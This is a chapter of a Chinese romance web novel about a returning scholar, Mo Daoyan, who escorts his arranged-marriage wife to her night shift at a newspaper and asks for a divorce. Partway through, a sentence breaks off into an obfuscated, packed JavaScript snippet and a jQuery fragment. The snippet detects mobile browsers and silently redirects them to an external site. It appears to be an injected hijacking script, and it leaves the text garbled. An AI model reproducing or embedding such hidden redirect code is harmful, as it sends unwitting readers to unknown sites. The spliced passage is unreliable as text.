饭后莫道言回了房，房内保留着他离家前的陈设，书桌上的全家福，毕业照，电机工程类的书籍，书桌下的篮球和足球，墙上的网球拍，窗户上大红色的喜字渐变为浅红色，嵌入式的大衣柜共有三竖格，每格有三横层，上方的横层空间最大，用来放长中衣，下面横层放些叠放的衣服或鞋子，中间和左边挂的仍是他的校服，熨烫得平平整整，右边的那格她在用，只有三四件大衣，其他的都收进了叠放区，角落里堆放着三个红色实木箱和一架红枣木的梳妆台，台上放着简约的护肤用品。
床单被子枕巾是新洗换过的，暴晒得松松软软，散发着烘焙气息的淡香，佟语非端坐在床边，全神贯注地缝补着人造革的酱红色水纹包，包面上的缀花松了。
熟悉的房间唤醒了莫道言沉睡的记忆，他蓦然念起了结婚的夜晚，也似这般万籁俱寂，月似银钩高悬天幕，喜宴结束，客人散去，他醉意蒙蒙地进来，看着满屋的红恍然如梦，就在同一个位置，坐着一身海棠红对襟喜服的女孩，他的新娘子。
她没有他那些女同学的见多识广，宏观上对科技革命的曙光和政治格局的演变，经济全球化的发展一窍不通，微观上对直流电器原理一无所知，但不妨碍莫道言多看几眼这个入侵了他私人领地的人，正如对实物无感的人们，仍会为精美的包装投去瞩目的光。她化了浓淡相宜的新娘妆，涂了桃红色的口红，青涩的脸蛋益发的白，擦了芍药味的雪花膏，有股幽淡的香，给客人敬酒时喝了点香槟，胜雪的肌肤白里透红，杏脸桃腮，柳眉星眼，眼波流转间透出浅淡的懵懂，犹似从油画里迷路的小鹿……
平心而论，只看外在，她是个美丽的女生，不亚于学校里那些什么校花系花。
佟语非站起身倒了杯生姜茶，冲他笑，牙齿小而白：“喝点姜茶吧，对胃好。”
莫道言对姜过敏，没接茶：“你的名字是……”
相亲和换帖时交换过名字，大概他都忘记了，她拉起他的手腕，伸出食指，指腹摩挲着他的掌心：“佟语非，单人冬，语言的语，是非的非。”
她的指尖微凉，冲抵着他因饮酒渐生的燥热：“谁取的？”
“我爸爸。”
语非语，默非默，非语非默，恕他眼拙，没看出她父亲是个有文化底蕴的人：“你爸真人不露相。”
“你不喝姜茶，我去换白水。”
在她转身的一瞬，莫道言鬼使神差地攥住了那只细如葱白的手，趁势把她揽进了怀中，手指抚摸着细腻的脸庞，缓缓滑向薄唇，她的唇绵软水润，仿似被浸泡过的樱花瓣，娇艳欲滴，他情不自禁地搂住了她纤软的腰肢，温热干燥的唇覆上去，竭力汲取着花瓣的水分。
佟语非被他突如其来的举动惊住，茶杯落到地上碎成两半，击出清脆的响声。
莫道言仿佛迷失了一段漫长的时光，大醉方醒：“抱歉，是我失礼。”
后来回想此事，莫道言将其归结于少不更事，那时的自己尚未经受教育的充分洗礼，身上还残留着动物性的原始冲动，如今随着年岁增长和阅历加深，他早已脱胎换骨，再不会为礼品盒上那几朵精致的雏菊迷去神志，行浑噩的低劣之事。
---
一床一被两枕头，孤男寡女同床共枕，他自认做不了柳下惠，今晚刚回就分房睡时机不成熟，最好的办法是把书房的单人沙发床搬过来，总能捱上一段日子。
他打定了主意往外走，佟语非拦下了他：“你舟车劳顿，早些休息，我去上班了。”
“你上晚班？”
“是的。”
她背上缝好的包，下楼出去，在客厅撞见刚打完工作电话的孟如卿。
孟如卿道：“不是上周刚上的夜班？”
“轮班同事的妈妈病了，临到年关，事情又多，组长让我顶几天。”
助人为乐，孟如卿是支持的，但看了看墙上的挂钟说：“八点多，没车了吧？”
报社校对岗实行三班倒，白班，小夜和大夜，白班从早八点至下午四点，小夜从下午四点到零点，大夜从零点至第二日八点，佟语非这周排大夜，虽然十二点的班，踩点到即可，实际却不现实，距单位近的员工步行上班还凑合，离得远的步行无望，须骑行或乘公交，夜路骑行安全又是个问题，女同志基本只剩乘公交这一条路，夜班车少之又少，她们大多只能坐日班的末班车，跟着发车时间，提早两三个小时去单位。
武陵街这站去报社的三路车，末班是十九点五十分的，佟语非平时十九点半出门，今晚莫道言回家，莫道行放寒假，一家人难得聚齐，中间又出了莫家父子拌嘴的小插曲，她就迟了几十分钟。
佟语非在玄关处，换上黑白格的帆布鞋：“我骑车去。”
莫家有车有司机，多是老太太的专用，除却生病等紧急情况，莫长林和孟如卿不会动用，也不许孩子们用，孟如卿对楼上的莫道言道：“道言，去送一送。”
佟语非忙说：“不用不用，这时候上夜班的人挺多的。”
“就近厂子上班的人多，你们报社远，和你同路的寥寥无几，有他陪着稳妥一些。”
“他一去一回寒风夜露，太折腾了……”
“他是你男人，不折腾他折腾谁？这是他该做的。”
佟语非没料想婆婆会说这种大白话，脸一红道：“他长途跋涉的，刚到家……”
莫道言取了件夹克衫下来，先她一步出门：“走吧。”
佟语非常用的是辆凤凰牌女式单车，莫道行的是辆山地车，载人都不行，厂里给莫长林配了一辆丰田车，原先的那辆二八杠闲置了，莫道言从储物间拉出来，擦净打上气，跨上去单脚支地，等她上来。
佟语非绕到他跟前，递来一双棕色的毛线泄指手套，背面的图案是用黄色毛线钩织的小熊掌，娇俏可爱，和她戴的是一对，是她这两天加班加点织出来的：“送你的！”
莫道言没接，从衣袋里掏出一副用过的皮手套：“毛线不耐磨，磨损可惜。”
手套打出来就是给人戴的，磨损了理所必然，他不收是不想收。
被当面拒收，佟语非处之泰然，坐上车，莞尔一笑：“可以走了。”
莫道言载着佟语非出了门，街道两旁装了路灯，为了节省用电，开了不足一半，还有些路灯杆被行车撞坏，歪歪扭扭地斜在半空，四下寂静无声，偶或有捉迷藏的孩子呼朋引伴唱着童谣跑过，小小的身影穿行在明暗交替的光影中，勾绘着一幅笔酣墨饱的水墨画。
北风怒号，寒气刺骨，月光仿如冻霜，冷冰冰地铺在大地上，一路上两人默不作声，莫道言为缩短处刑般的相顾无言和飞沙走砾的袭击，加快了车速，车子几乎飞了起来，碾过一处凸凹不平的洼地，一阵剧烈地颠簸，佟语非不由自主地攥紧了他腰身两侧的衣服，额头重重地贴向他的背。
隔着外套，莫道言依旧能觉察到她的惊恐和被冬夜侵染的冰冷，捏闸放缓了车速：“避避风再走？”
前面的公用投币电话亭，是此路段唯一的避风港，佟语非想到莫道言挡在前面，一定更冷，点头说好，莫道言将车停在路边，和她一起走了过去，电话亭只有一平米的空间，他拉开门让佟语非进去，自己留在了外面，拢着手点起一根烟，在疾风的肆虐下，火花和灰烬像一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819103|175458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闪而过的流星，飞速地燃灼着。
佟语非推开一条缝：“进来挤挤吧。”
莫道言吐出的烟雾在空中飘远，看再不进去，她浑身不自在得就要出来了，便掐了烟，带着凉意和烟草味挤了进去，佟语非矮他半头，面面相对，额头正抵在他的唇边，她脸颊染了绯红，忙转过身去，手指在电话亭的玻璃上划拉着，看着外面摇动的树影，像是自言自语。
“这阵风不知什么时候能停？”
莫道言背靠着电话机：“总会停的。”
近在咫尺，没声音格外尴尬，她没话找话道：“东德和西德有什么不同吗？”
莫道言微淡的声音在她头顶飘飘荡荡：“制度不同，东德属于华约集团，奉行社会主义，实行计划经济体制，西德属于北约集团，奉行资本主义，实行市场经济体制，企业以私有制为主，经济水平有差，东德的经济规模只有西德的四分之一，技术高度不可企及，一些大众熟知的大众宝马等名牌车，均出自西德，还有些细微的区分，东德的第一外语不是英文，是俄语。”
他答完，她又问：“你用时三年攻读了硕士和博士的全课程，是怎么做到的？
“一年学费一万多马克，要减少支出，压缩学年是最明智的做法。”
莫道言低头看她，像是在等她的第三个问题，却听她禁不住道：“我拖累你了。”
实际上不能说拖累，嫁汉嫁汉，穿衣吃饭，谁娶了老婆都要养的，这是他的责任，和爱与恨不相关，但他也没客气地说没有拖累等，讲一些表面的漂亮话，而是瞟向外面道：“风停了。”
莫道言骑过三条长街，转过两个街角，到了西城日报社，报社没有他想象中气派，两层破旧的小楼，牌子是块白底黑字的缺了半角的木板，苍劲有力的楷体字名，彰显出几分寂寥的风骨，楼没有亮灯，上面黑咕隆咚，前门的锁坏了，校对室在后面那排房子。
佟语非走南面的侧门上去：“辛苦你了，快回去吧。”
莫道言卒然叫住了她：“佟小姐……”
佟语非回首，呆呆地看着他。
莫道言与那双晶亮的眸子相望，沉吟道：“出国那天我同你说过的话，还记得吗？”
临别时他对她说，他们不是真正意义上的夫妻，他不会白占她的大好年华，她若邂逅到情投意合的人，尽可写信，无论他身置何处，都会飞回来，无条件配合她离婚。
五年了，他没等来她求离婚的信，也没踏上故土半步。
佟语非顿了顿道：“情投意合可遇不可求，我没那么好运。”
“不是这句，后面那句。”
他念完书满载而归那天，无论她寻到归宿与否，他都会离婚。
莫道言无比坚定地道：“我们离婚吧！”
佟语非眼中掠过些微的错愕，她早料到会有这一天，只是没想过来得如此之快，然而那抹错愕转瞬即逝，犹如云过天空消散无踪，莫道言见此情形很欣慰，离婚虽算不得好消息，又事出突然，她一时反应不过来是人之常情，如今她已醒悟，说明她并未忘却当初的承诺，事情比他预想的要顺利，他们结得痛快，离得干脆，总算好聚好散。
“你好好想想，想要什么，想好了和我说。”
她在这个家快五年，单就哄奶奶开心，他就欠她的，奶奶门第观深厚，最初获知宝贝孙子娶了个农民的女儿，还冷眼相待，乌鸦怎配鸾凤对，门不当户不对，她能有今日在奶奶心里的位置，付出的艰辛可想而知，他会尽力补偿她。
“回去吧，晚了他们该担心了。”
她抽了抽气，转身没入了星夜中。